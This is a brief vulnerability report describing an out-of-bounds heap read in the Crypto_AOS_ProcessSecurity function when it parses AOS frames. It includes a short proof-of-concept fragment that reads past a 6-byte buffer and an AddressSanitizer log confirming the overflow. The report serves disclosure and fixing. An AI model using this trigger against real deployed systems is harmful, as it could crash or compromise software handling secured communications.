Vulnerability Type

Out-of-Bounds Read

Location

src/core/crypto_aos.c

Description

The Crypto_AOS_ProcessSecurity function reads memory without valid bounds checking when parsing AOS frame hashes.

Proof of Concept (PoC) and Verification

The frame length was set to the minimum (6 bytes), and the function's internal logic was induced to read beyond that (7th, 8th bytes).

PoC Code (Core Logic)

// Frame with only 6 bytes allocated
uint16_t len_ingest = 6;
uint8_t *p_ingest = (uint8_t*)malloc(len_ingest);

// Logic attempts to read SPI (2 bytes) past the header (6)
// Accesses p_ingest[6], p_ingest[7] when byte_idx = 6
uint8_t spi_msb = p_ingest[byte_idx]; // OOB access

Verification Results (ASAN Log)

[*] Starting AOS OOB Read PoC
[*] len_ingest: 6, byte_idx: 6
[!] Attempting to read SPI at index 6 and 7
==3663==ERROR: AddressSanitizer: heap-buffer-overflow on address ...
READ of size 1 at 0x602000000016 thread T0
...
==3663==ABORTING

ASAN detected the attempt to read memory outside the allocated region and aborted the process.